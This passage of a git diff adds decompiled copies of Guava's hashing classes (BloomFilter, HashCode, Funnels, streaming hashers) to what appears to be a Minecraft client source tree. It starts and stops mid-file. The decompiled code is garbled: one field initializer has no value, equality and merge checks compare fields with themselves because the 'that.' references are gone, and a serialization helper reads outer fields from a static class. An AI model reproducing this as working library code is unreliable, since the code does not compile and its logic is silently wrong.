+    return newHasher().putInt(input).hash();
+  }
+  
+  public HashCode hashLong(long input) {
+    return newHasher().putLong(input).hash();
+  }
+  
+  public HashCode hashBytes(byte[] input) {
+    return newHasher().putBytes(input).hash();
+  }
+  
+  public HashCode hashBytes(byte[] input, int off, int len) {
+    return newHasher().putBytes(input, off, len).hash();
+  }
+  
+  public Hasher newHasher(int expectedInputSize) {
+    Preconditions.checkArgument(expectedInputSize >= 0);
+    return newHasher();
+  }
+  
+
+
+
+
+
+  protected static abstract class AbstractStreamingHasher
+    extends AbstractHasher
+  {
+    private final ByteBuffer buffer;
+    
+
+
+
+    private final int bufferSize;
+    
+
+
+
+    private final int chunkSize;
+    
+
+
+
+
+    protected AbstractStreamingHasher(int chunkSize)
+    {
+      this(chunkSize, chunkSize);
+    }
+    
+
+
+
+
+
+
+
+
+
+    protected AbstractStreamingHasher(int chunkSize, int bufferSize)
+    {
+      Preconditions.checkArgument(bufferSize % chunkSize == 0);
+      
+
+      buffer = ByteBuffer.allocate(bufferSize + 7).order(ByteOrder.LITTLE_ENDIAN);
+      
+
+      this.bufferSize = bufferSize;
+      this.chunkSize = chunkSize;
+    }
+    
+
+
+
+
+
+    protected abstract void process(ByteBuffer paramByteBuffer);
+    
+
+
+
+
+
+    protected void processRemaining(ByteBuffer bb)
+    {
+      bb.position(bb.limit());
+      bb.limit(chunkSize + 7);
+      while (bb.position() < chunkSize) {
+        bb.putLong(0L);
+      }
+      bb.limit(chunkSize);
+      bb.flip();
+      process(bb);
+    }
+    
+    public final Hasher putBytes(byte[] bytes)
+    {
+      return putBytes(bytes, 0, bytes.length);
+    }
+    
+    public final Hasher putBytes(byte[] bytes, int off, int len)
+    {
+      return putBytes(ByteBuffer.wrap(bytes, off, len).order(ByteOrder.LITTLE_ENDIAN));
+    }
+    
+    private Hasher putBytes(ByteBuffer readBuffer)
+    {
+      if (readBuffer.remaining() <= buffer.remaining()) {
+        buffer.put(readBuffer);
+        munchIfFull();
+        return this;
+      }
+      
+
+      int bytesToCopy = bufferSize - buffer.position();
+      for (int i = 0; i < bytesToCopy; i++) {
+        buffer.put(readBuffer.get());
+      }
+      munch();
+      
+
+      while (readBuffer.remaining() >= chunkSize) {
+        process(readBuffer);
+      }
+      
+
+      buffer.put(readBuffer);
+      return this;
+    }
+    
+    public final Hasher putUnencodedChars(CharSequence charSequence)
+    {
+      for (int i = 0; i < charSequence.length(); i++) {
+        putChar(charSequence.charAt(i));
+      }
+      return this;
+    }
+    
+    public final Hasher putByte(byte b)
+    {
+      buffer.put(b);
+      munchIfFull();
+      return this;
+    }
+    
+    public final Hasher putShort(short s)
+    {
+      buffer.putShort(s);
+      munchIfFull();
+      return this;
+    }
+    
+    public final Hasher putChar(char c)
+    {
+      buffer.putChar(c);
+      munchIfFull();
+      return this;
+    }
+    
+    public final Hasher putInt(int i)
+    {
+      buffer.putInt(i);
+      munchIfFull();
+      return this;
+    }
+    
+    public final Hasher putLong(long l)
+    {
+      buffer.putLong(l);
+      munchIfFull();
+      return this;
+    }
+    
+    public final <T> Hasher putObject(T instance, Funnel<? super T> funnel)
+    {
+      funnel.funnel(instance, this);
+      return this;
+    }
+    
+    public final HashCode hash()
+    {
+      munch();
+      buffer.flip();
+      if (buffer.remaining() > 0) {
+        processRemaining(buffer);
+      }
+      return makeHash();
+    }
+    
+    abstract HashCode makeHash();
+    
+    private void munchIfFull()
+    {
+      if (buffer.remaining() < 8)
+      {
+        munch();
+      }
+    }
+    
+    private void munch() {
+      buffer.flip();
+      while (buffer.remaining() >= chunkSize)
+      {
+
+        process(buffer);
+      }
+      buffer.compact();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/BloomFilter.java b/src/minecraft/com/google/common/hash/BloomFilter.java
new file mode 100644
index 0000000..3e09748
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/BloomFilter.java
@@ -0,0 +1,415 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import java.io.Serializable;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class BloomFilter<T>
+  implements Predicate<T>, Serializable
+{
+  private final BloomFilterStrategies.BitArray bits;
+  private final int numHashFunctions;
+  private final Funnel<T> funnel;
+  private final Strategy strategy;
+  
+  private BloomFilter(BloomFilterStrategies.BitArray bits, int numHashFunctions, Funnel<T> funnel, Strategy strategy)
+  {
+    Preconditions.checkArgument(numHashFunctions > 0, "numHashFunctions (%s) must be > 0", new Object[] { Integer.valueOf(numHashFunctions) });
+    
+    Preconditions.checkArgument(numHashFunctions <= 255, "numHashFunctions (%s) must be <= 255", new Object[] { Integer.valueOf(numHashFunctions) });
+    
+    this.bits = ((BloomFilterStrategies.BitArray)Preconditions.checkNotNull(bits));
+    this.numHashFunctions = numHashFunctions;
+    this.funnel = ((Funnel)Preconditions.checkNotNull(funnel));
+    this.strategy = ((Strategy)Preconditions.checkNotNull(strategy));
+  }
+  
+
+
+
+
+
+  public BloomFilter<T> copy()
+  {
+    return new BloomFilter(bits.copy(), numHashFunctions, funnel, strategy);
+  }
+  
+
+
+
+  public boolean mightContain(T object)
+  {
+    return strategy.mightContain(object, funnel, numHashFunctions, bits);
+  }
+  
+
+
+
+
+  @Deprecated
+  public boolean apply(T input)
+  {
+    return mightContain(input);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean put(T object)
+  {
+    return strategy.put(object, funnel, numHashFunctions, bits);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public double expectedFpp()
+  {
+    return Math.pow(bits.bitCount() / bitSize(), numHashFunctions);
+  }
+  
+
+  @VisibleForTesting
+  long bitSize()
+  {
+    return bits.bitSize();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean isCompatible(BloomFilter<T> that)
+  {
+    Preconditions.checkNotNull(that);
+    return (this != that) && (numHashFunctions == numHashFunctions) && (bitSize() == that.bitSize()) && (strategy.equals(strategy)) && (funnel.equals(funnel));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void putAll(BloomFilter<T> that)
+  {
+    Preconditions.checkNotNull(that);
+    Preconditions.checkArgument(this != that, "Cannot combine a BloomFilter with itself.");
+    Preconditions.checkArgument(numHashFunctions == numHashFunctions, "BloomFilters must have the same number of hash functions (%s != %s)", new Object[] { Integer.valueOf(numHashFunctions), Integer.valueOf(numHashFunctions) });
+    
+
+    Preconditions.checkArgument(bitSize() == that.bitSize(), "BloomFilters must have the same size underlying bit arrays (%s != %s)", new Object[] { Long.valueOf(bitSize()), Long.valueOf(that.bitSize()) });
+    
+
+    Preconditions.checkArgument(strategy.equals(strategy), "BloomFilters must have equal strategies (%s != %s)", new Object[] { strategy, strategy });
+    
+
+    Preconditions.checkArgument(funnel.equals(funnel), "BloomFilters must have equal funnels (%s != %s)", new Object[] { funnel, funnel });
+    
+
+    bits.putAll(bits);
+  }
+  
+  public boolean equals(@Nullable Object object)
+  {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof BloomFilter)) {
+      BloomFilter<?> that = (BloomFilter)object;
+      return (numHashFunctions == numHashFunctions) && (funnel.equals(funnel)) && (bits.equals(bits)) && (strategy.equals(strategy));
+    }
+    
+
+
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return Objects.hashCode(new Object[] { Integer.valueOf(numHashFunctions), funnel, strategy, bits });
+  }
+  
+  private static final Strategy DEFAULT_STRATEGY = ;
+  
+  @VisibleForTesting
+  static final String USE_MITZ32_PROPERTY = "com.google.common.hash.BloomFilter.useMitz32";
+  
+  @VisibleForTesting
+  static Strategy getDefaultStrategyFromSystemProperty()
+  {
+    return Boolean.parseBoolean(System.getProperty("com.google.common.hash.BloomFilter.useMitz32")) ? BloomFilterStrategies.MURMUR128_MITZ_32 : BloomFilterStrategies.MURMUR128_MITZ_64;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> BloomFilter<T> create(Funnel<T> funnel, int expectedInsertions, double fpp)
+  {
+    return create(funnel, expectedInsertions, fpp, DEFAULT_STRATEGY);
+  }
+  
+  @VisibleForTesting
+  static <T> BloomFilter<T> create(Funnel<T> funnel, int expectedInsertions, double fpp, Strategy strategy)
+  {
+    Preconditions.checkNotNull(funnel);
+    Preconditions.checkArgument(expectedInsertions >= 0, "Expected insertions (%s) must be >= 0", new Object[] { Integer.valueOf(expectedInsertions) });
+    
+    Preconditions.checkArgument(fpp > 0.0D, "False positive probability (%s) must be > 0.0", new Object[] { Double.valueOf(fpp) });
+    Preconditions.checkArgument(fpp < 1.0D, "False positive probability (%s) must be < 1.0", new Object[] { Double.valueOf(fpp) });
+    Preconditions.checkNotNull(strategy);
+    
+    if (expectedInsertions == 0) {
+      expectedInsertions = 1;
+    }
+    
+
+
+
+
+
+    long numBits = optimalNumOfBits(expectedInsertions, fpp);
+    int numHashFunctions = optimalNumOfHashFunctions(expectedInsertions, numBits);
+    try {
+      return new BloomFilter(new BloomFilterStrategies.BitArray(numBits), numHashFunctions, funnel, strategy);
+    } catch (IllegalArgumentException e) {
+      throw new IllegalArgumentException("Could not create BloomFilter of " + numBits + " bits", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> BloomFilter<T> create(Funnel<T> funnel, int expectedInsertions)
+  {
+    return create(funnel, expectedInsertions, 0.03D);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  static int optimalNumOfHashFunctions(long n, long m)
+  {
+    return Math.max(1, (int)Math.round(m / n * Math.log(2.0D)));
+  }
+  
+
+
+
+
+
+
+
+
+  @VisibleForTesting
+  static long optimalNumOfBits(long n, double p)
+  {
+    if (p == 0.0D) {
+      p = Double.MIN_VALUE;
+    }
+    return (-n * Math.log(p) / (Math.log(2.0D) * Math.log(2.0D)));
+  }
+  
+
+  private Object writeReplace() { return new SerialForm(this); }
+  
+  private static class SerialForm<T> implements Serializable {
+    final long[] data;
+    final int numHashFunctions;
+    final Funnel<T> funnel;
+    final BloomFilter.Strategy strategy;
+    private static final long serialVersionUID = 1L;
+    
+    SerialForm(BloomFilter<T> bf) {
+      data = bits.data;
+      numHashFunctions = numHashFunctions;
+      funnel = funnel;
+      strategy = strategy;
+    }
+    
+    Object readResolve() { return new BloomFilter(new BloomFilterStrategies.BitArray(data), numHashFunctions, funnel, strategy, null); }
+  }
+  
+  static abstract interface Strategy
+    extends Serializable
+  {
+    public abstract <T> boolean put(T paramT, Funnel<? super T> paramFunnel, int paramInt, BloomFilterStrategies.BitArray paramBitArray);
+    
+    public abstract <T> boolean mightContain(T paramT, Funnel<? super T> paramFunnel, int paramInt, BloomFilterStrategies.BitArray paramBitArray);
+    
+    public abstract int ordinal();
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/BloomFilterStrategies.java b/src/minecraft/com/google/common/hash/BloomFilterStrategies.java
new file mode 100644
index 0000000..b981b19
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/BloomFilterStrategies.java
@@ -0,0 +1,210 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import com.google.common.math.LongMath;
+import com.google.common.primitives.Ints;
+import com.google.common.primitives.Longs;
+import java.math.RoundingMode;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ enum BloomFilterStrategies
+  implements BloomFilter.Strategy
+{
+  MURMUR128_MITZ_32, 
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  MURMUR128_MITZ_64;
+  
+
+
+
+
+
+
+
+
+
+
+
+  private BloomFilterStrategies() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+  static final class BitArray
+  {
+    final long[] data;
+    
+
+
+
+
+
+
+
+
+
+
+    long bitCount;
+    
+
+
+
+
+
+
+
+
+
+
+
+    BitArray(long bits)
+    {
+      this(new long[Ints.checkedCast(LongMath.divide(bits, 64L, RoundingMode.CEILING))]);
+    }
+    
+    BitArray(long[] data)
+    {
+      Preconditions.checkArgument(data.length > 0, "data length is zero!");
+      this.data = data;
+      long bitCount = 0L;
+      for (long value : data) {
+        bitCount += Long.bitCount(value);
+      }
+      this.bitCount = bitCount;
+    }
+    
+    boolean set(long index)
+    {
+      if (!get(index)) {
+        data[((int)(index >>> 6))] |= 1L << (int)index;
+        bitCount += 1L;
+        return true;
+      }
+      return false;
+    }
+    
+    boolean get(long index) {
+      return (data[((int)(index >>> 6))] & 1L << (int)index) != 0L;
+    }
+    
+    long bitSize()
+    {
+      return data.length * 64L;
+    }
+    
+    long bitCount()
+    {
+      return bitCount;
+    }
+    
+    BitArray copy() {
+      return new BitArray((long[])data.clone());
+    }
+    
+    void putAll(BitArray array)
+    {
+      Preconditions.checkArgument(data.length == data.length, "BitArrays must be of equal length (%s != %s)", new Object[] { Integer.valueOf(data.length), Integer.valueOf(data.length) });
+      
+      bitCount = 0L;
+      for (int i = 0; i < data.length; i++) {
+        data[i] |= data[i];
+        bitCount += Long.bitCount(data[i]);
+      }
+    }
+    
+    public boolean equals(Object o) {
+      if ((o instanceof BitArray)) {
+        BitArray bitArray = (BitArray)o;
+        return Arrays.equals(data, data);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return Arrays.hashCode(data);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/ChecksumHashFunction.java b/src/minecraft/com/google/common/hash/ChecksumHashFunction.java
new file mode 100644
index 0000000..021bf1a
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/ChecksumHashFunction.java
@@ -0,0 +1,93 @@
+package com.google.common.hash;
+
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import java.io.Serializable;
+import java.util.zip.Checksum;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ChecksumHashFunction
+  extends AbstractStreamingHashFunction
+  implements Serializable
+{
+  private final Supplier<? extends Checksum> checksumSupplier;
+  private final int bits;
+  private final String toString;
+  private static final long serialVersionUID = 0L;
+  
+  ChecksumHashFunction(Supplier<? extends Checksum> checksumSupplier, int bits, String toString)
+  {
+    this.checksumSupplier = ((Supplier)Preconditions.checkNotNull(checksumSupplier));
+    Preconditions.checkArgument((bits == 32) || (bits == 64), "bits (%s) must be either 32 or 64", new Object[] { Integer.valueOf(bits) });
+    this.bits = bits;
+    this.toString = ((String)Preconditions.checkNotNull(toString));
+  }
+  
+  public int bits()
+  {
+    return bits;
+  }
+  
+  public Hasher newHasher()
+  {
+    return new ChecksumHasher((Checksum)checksumSupplier.get(), null);
+  }
+  
+  public String toString()
+  {
+    return toString;
+  }
+  
+
+  private final class ChecksumHasher
+    extends AbstractByteHasher
+  {
+    private final Checksum checksum;
+    
+    private ChecksumHasher(Checksum checksum)
+    {
+      this.checksum = ((Checksum)Preconditions.checkNotNull(checksum));
+    }
+    
+    protected void update(byte b)
+    {
+      checksum.update(b);
+    }
+    
+    protected void update(byte[] bytes, int off, int len)
+    {
+      checksum.update(bytes, off, len);
+    }
+    
+    public HashCode hash()
+    {
+      long value = checksum.getValue();
+      if (bits == 32)
+      {
+
+
+
+
+        return HashCode.fromInt((int)value);
+      }
+      return HashCode.fromLong(value);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/Funnel.java b/src/minecraft/com/google/common/hash/Funnel.java
new file mode 100644
index 0000000..6f6b49e
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/Funnel.java
@@ -0,0 +1,11 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import java.io.Serializable;
+
+@Beta
+public abstract interface Funnel<T>
+  extends Serializable
+{
+  public abstract void funnel(T paramT, PrimitiveSink paramPrimitiveSink);
+}
diff --git a/src/minecraft/com/google/common/hash/Funnels.java b/src/minecraft/com/google/common/hash/Funnels.java
new file mode 100644
index 0000000..3993808
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/Funnels.java
@@ -0,0 +1,252 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import java.io.OutputStream;
+import java.io.Serializable;
+import java.nio.charset.Charset;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public final class Funnels
+{
+  private Funnels() {}
+  
+  public static Funnel<byte[]> byteArrayFunnel()
+  {
+    return ByteArrayFunnel.INSTANCE;
+  }
+  
+  private static enum ByteArrayFunnel implements Funnel<byte[]> {
+    INSTANCE;
+    
+    private ByteArrayFunnel() {}
+    public void funnel(byte[] from, PrimitiveSink into) { into.putBytes(from); }
+    
+    public String toString()
+    {
+      return "Funnels.byteArrayFunnel()";
+    }
+  }
+  
+
+
+
+
+
+
+  public static Funnel<CharSequence> unencodedCharsFunnel()
+  {
+    return UnencodedCharsFunnel.INSTANCE;
+  }
+  
+  private static enum UnencodedCharsFunnel implements Funnel<CharSequence> {
+    INSTANCE;
+    
+    private UnencodedCharsFunnel() {}
+    public void funnel(CharSequence from, PrimitiveSink into) { into.putUnencodedChars(from); }
+    
+    public String toString()
+    {
+      return "Funnels.unencodedCharsFunnel()";
+    }
+  }
+  
+
+
+
+
+
+  public static Funnel<CharSequence> stringFunnel(Charset charset)
+  {
+    return new StringCharsetFunnel(charset);
+  }
+  
+  private static class StringCharsetFunnel implements Funnel<CharSequence>, Serializable {
+    private final Charset charset;
+    
+    StringCharsetFunnel(Charset charset) {
+      this.charset = ((Charset)Preconditions.checkNotNull(charset));
+    }
+    
+    public void funnel(CharSequence from, PrimitiveSink into) {
+      into.putString(from, charset);
+    }
+    
+    public String toString() {
+      return "Funnels.stringFunnel(" + charset.name() + ")";
+    }
+    
+    public boolean equals(@Nullable Object o) {
+      if ((o instanceof StringCharsetFunnel)) {
+        StringCharsetFunnel funnel = (StringCharsetFunnel)o;
+        return charset.equals(charset);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return StringCharsetFunnel.class.hashCode() ^ charset.hashCode();
+    }
+    
+    Object writeReplace() {
+      return new SerializedForm(charset);
+    }
+    
+    private static class SerializedForm implements Serializable {
+      private final String charsetCanonicalName;
+      private static final long serialVersionUID = 0L;
+      
+      SerializedForm(Charset charset) { charsetCanonicalName = charset.name(); }
+      
+      private Object readResolve()
+      {
+        return Funnels.stringFunnel(Charset.forName(charsetCanonicalName));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public static Funnel<Integer> integerFunnel()
+  {
+    return IntegerFunnel.INSTANCE;
+  }
+  
+  private static enum IntegerFunnel implements Funnel<Integer> {
+    INSTANCE;
+    
+    private IntegerFunnel() {}
+    public void funnel(Integer from, PrimitiveSink into) { into.putInt(from.intValue()); }
+    
+    public String toString()
+    {
+      return "Funnels.integerFunnel()";
+    }
+  }
+  
+
+
+
+
+
+  public static <E> Funnel<Iterable<? extends E>> sequentialFunnel(Funnel<E> elementFunnel)
+  {
+    return new SequentialFunnel(elementFunnel);
+  }
+  
+  private static class SequentialFunnel<E> implements Funnel<Iterable<? extends E>>, Serializable {
+    private final Funnel<E> elementFunnel;
+    
+    SequentialFunnel(Funnel<E> elementFunnel) {
+      this.elementFunnel = ((Funnel)Preconditions.checkNotNull(elementFunnel));
+    }
+    
+    public void funnel(Iterable<? extends E> from, PrimitiveSink into) {
+      for (E e : from) {
+        elementFunnel.funnel(e, into);
+      }
+    }
+    
+    public String toString() {
+      return "Funnels.sequentialFunnel(" + elementFunnel + ")";
+    }
+    
+    public boolean equals(@Nullable Object o) {
+      if ((o instanceof SequentialFunnel)) {
+        SequentialFunnel<?> funnel = (SequentialFunnel)o;
+        return elementFunnel.equals(elementFunnel);
+      }
+      return false;
+    }
+    
+    public int hashCode() {
+      return SequentialFunnel.class.hashCode() ^ elementFunnel.hashCode();
+    }
+  }
+  
+
+
+
+
+  public static Funnel<Long> longFunnel()
+  {
+    return LongFunnel.INSTANCE;
+  }
+  
+  private static enum LongFunnel implements Funnel<Long> {
+    INSTANCE;
+    
+    private LongFunnel() {}
+    public void funnel(Long from, PrimitiveSink into) { into.putLong(from.longValue()); }
+    
+    public String toString()
+    {
+      return "Funnels.longFunnel()";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static OutputStream asOutputStream(PrimitiveSink sink)
+  {
+    return new SinkAsStream(sink);
+  }
+  
+  private static class SinkAsStream extends OutputStream {
+    final PrimitiveSink sink;
+    
+    SinkAsStream(PrimitiveSink sink) { this.sink = ((PrimitiveSink)Preconditions.checkNotNull(sink)); }
+    
+    public void write(int b)
+    {
+      sink.putByte((byte)b);
+    }
+    
+    public void write(byte[] bytes) {
+      sink.putBytes(bytes);
+    }
+    
+    public void write(byte[] bytes, int off, int len) {
+      sink.putBytes(bytes, off, len);
+    }
+    
+    public String toString() {
+      return "Funnels.asOutputStream(" + sink + ")";
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/hash/HashCode.java b/src/minecraft/com/google/common/hash/HashCode.java
new file mode 100644
index 0000000..2eaa1ad
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/HashCode.java
@@ -0,0 +1,387 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Ints;
+import com.google.common.primitives.UnsignedInts;
+import java.io.Serializable;
+import java.security.MessageDigest;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+public abstract class HashCode
+{
+  HashCode() {}
+  
+  public abstract int bits();
+  
+  public abstract int asInt();
+  
+  public abstract long asLong();
+  
+  public abstract long padToLong();
+  
+  public abstract byte[] asBytes();
+  
+  public int writeBytesTo(byte[] dest, int offset, int maxLength)
+  {
+    maxLength = Ints.min(new int[] { maxLength, bits() / 8 });
+    Preconditions.checkPositionIndexes(offset, offset + maxLength, dest.length);
+    writeBytesToImpl(dest, offset, maxLength);
+    return maxLength;
+  }
+  
+
+
+  abstract void writeBytesToImpl(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+
+
+  byte[] getBytesInternal()
+  {
+    return asBytes();
+  }
+  
+
+
+
+
+
+  public static HashCode fromInt(int hash)
+  {
+    return new IntHashCode(hash);
+  }
+  
+  private static final class IntHashCode extends HashCode implements Serializable {
+    final int hash;
+    private static final long serialVersionUID = 0L;
+    
+    IntHashCode(int hash) { this.hash = hash; }
+    
+
+    public int bits()
+    {
+      return 32;
+    }
+    
+    public byte[] asBytes()
+    {
+      return new byte[] { (byte)hash, (byte)(hash >> 8), (byte)(hash >> 16), (byte)(hash >> 24) };
+    }
+    
+
+
+
+
+    public int asInt()
+    {
+      return hash;
+    }
+    
+    public long asLong()
+    {
+      throw new IllegalStateException("this HashCode only has 32 bits; cannot create a long");
+    }
+    
+    public long padToLong()
+    {
+      return UnsignedInts.toLong(hash);
+    }
+    
+    void writeBytesToImpl(byte[] dest, int offset, int maxLength)
+    {
+      for (int i = 0; i < maxLength; i++) {
+        dest[(offset + i)] = ((byte)(hash >> i * 8));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static HashCode fromLong(long hash)
+  {
+    return new LongHashCode(hash);
+  }
+  
+  private static final class LongHashCode extends HashCode implements Serializable {
+    final long hash;
+    private static final long serialVersionUID = 0L;
+    
+    LongHashCode(long hash) { this.hash = hash; }
+    
+
+    public int bits()
+    {
+      return 64;
+    }
+    
+    public byte[] asBytes()
+    {
+      return new byte[] { (byte)(int)hash, (byte)(int)(hash >> 8), (byte)(int)(hash >> 16), (byte)(int)(hash >> 24), (byte)(int)(hash >> 32), (byte)(int)(hash >> 40), (byte)(int)(hash >> 48), (byte)(int)(hash >> 56) };
+    }
+    
+
+
+
+
+
+
+
+
+    public int asInt()
+    {
+      return (int)hash;
+    }
+    
+    public long asLong()
+    {
+      return hash;
+    }
+    
+    public long padToLong()
+    {
+      return hash;
+    }
+    
+    void writeBytesToImpl(byte[] dest, int offset, int maxLength)
+    {
+      for (int i = 0; i < maxLength; i++) {
+        dest[(offset + i)] = ((byte)(int)(hash >> i * 8));
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static HashCode fromBytes(byte[] bytes)
+  {
+    Preconditions.checkArgument(bytes.length >= 1, "A HashCode must contain at least 1 byte.");
+    return fromBytesNoCopy((byte[])bytes.clone());
+  }
+  
+
+
+
+  static HashCode fromBytesNoCopy(byte[] bytes)
+  {
+    return new BytesHashCode(bytes);
+  }
+  
+  private static final class BytesHashCode extends HashCode implements Serializable {
+    final byte[] bytes;
+    private static final long serialVersionUID = 0L;
+    
+    BytesHashCode(byte[] bytes) { this.bytes = ((byte[])Preconditions.checkNotNull(bytes)); }
+    
+
+    public int bits()
+    {
+      return bytes.length * 8;
+    }
+    
+    public byte[] asBytes()
+    {
+      return (byte[])bytes.clone();
+    }
+    
+    public int asInt()
+    {
+      Preconditions.checkState(bytes.length >= 4, "HashCode#asInt() requires >= 4 bytes (it only has %s bytes).", new Object[] { Integer.valueOf(bytes.length) });
+      
+      return bytes[0] & 0xFF | (bytes[1] & 0xFF) << 8 | (bytes[2] & 0xFF) << 16 | (bytes[3] & 0xFF) << 24;
+    }
+    
+
+
+
+    public long asLong()
+    {
+      Preconditions.checkState(bytes.length >= 8, "HashCode#asLong() requires >= 8 bytes (it only has %s bytes).", new Object[] { Integer.valueOf(bytes.length) });
+      
+      return padToLong();
+    }
+    
+    public long padToLong()
+    {
+      long retVal = bytes[0] & 0xFF;
+      for (int i = 1; i < Math.min(bytes.length, 8); i++) {
+        retVal |= (bytes[i] & 0xFF) << i * 8;
+      }
+      return retVal;
+    }
+    
+    void writeBytesToImpl(byte[] dest, int offset, int maxLength)
+    {
+      System.arraycopy(bytes, 0, dest, offset, maxLength);
+    }
+    
+    byte[] getBytesInternal()
+    {
+      return bytes;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static HashCode fromString(String string)
+  {
+    Preconditions.checkArgument(string.length() >= 2, "input string (%s) must have at least 2 characters", new Object[] { string });
+    
+    Preconditions.checkArgument(string.length() % 2 == 0, "input string (%s) must have an even number of characters", new Object[] { string });
+    
+
+    byte[] bytes = new byte[string.length() / 2];
+    for (int i = 0; i < string.length(); i += 2) {
+      int ch1 = decode(string.charAt(i)) << 4;
+      int ch2 = decode(string.charAt(i + 1));
+      bytes[(i / 2)] = ((byte)(ch1 + ch2));
+    }
+    return fromBytesNoCopy(bytes);
+  }
+  
+  private static int decode(char ch) {
+    if ((ch >= '0') && (ch <= '9')) {
+      return ch - '0';
+    }
+    if ((ch >= 'a') && (ch <= 'f')) {
+      return ch - 'a' + 10;
+    }
+    throw new IllegalArgumentException("Illegal hexadecimal character: " + ch);
+  }
+  
+  public final boolean equals(@Nullable Object object)
+  {
+    if ((object instanceof HashCode)) {
+      HashCode that = (HashCode)object;
+      
+
+      return MessageDigest.isEqual(asBytes(), that.asBytes());
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public final int hashCode()
+  {
+    if (bits() >= 32) {
+      return asInt();
+    }
+    
+    byte[] bytes = asBytes();
+    int val = bytes[0] & 0xFF;
+    for (int i = 1; i < bytes.length; i++) {
+      val |= (bytes[i] & 0xFF) << i * 8;
+    }
+    return val;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final String toString()
+  {
+    byte[] bytes = asBytes();
+    StringBuilder sb = new StringBuilder(2 * bytes.length);
+    for (byte b : bytes) {
+      sb.append(hexDigits[(b >> 4 & 0xF)]).append(hexDigits[(b & 0xF)]);
+    }
+    return sb.toString();
+  }
+  
+  private static final char[] hexDigits = "0123456789abcdef".toCharArray();
+}
diff --git a/src/minecraft/com/google/common/hash/HashFunction.java b/src/minecraft/com/google/common/hash/HashFunction.java
new file mode 100644
index 0000000..ddbcd39
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/HashFunction.java
@@ -0,0 +1,28 @@
+package com.google.common.hash;
+
+import com.google.common.annotations.Beta;
+import java.nio.charset.Charset;
+
+@Beta
+public abstract interface HashFunction
+{
+  public abstract Hasher newHasher();
+  
+  public abstract Hasher newHasher(int paramInt);
+  
+  public abstract HashCode hashInt(int paramInt);
+  
+  public abstract HashCode hashLong(long paramLong);
+  
+  public abstract HashCode hashBytes(byte[] paramArrayOfByte);
+  
+  public abstract HashCode hashBytes(byte[] paramArrayOfByte, int paramInt1, int paramInt2);
+  
+  public abstract HashCode hashUnencodedChars(CharSequence paramCharSequence);
+  
+  public abstract HashCode hashString(CharSequence paramCharSequence, Charset paramCharset);
+  
+  public abstract <T> HashCode hashObject(T paramT, Funnel<? super T> paramFunnel);
+  
+  public abstract int bits();
+}
diff --git a/src/minecraft/com/google/common/hash/Hasher.java b/src/minecraft/com/google/common/hash/Hasher.java
new file mode 100644
index 0000000..23d791f
--- /dev/null
+++ b/src/minecraft/com/google/common/hash/Hasher.java
@@ -0,0 +1,37 @@
+package com.google.common.hash;
+
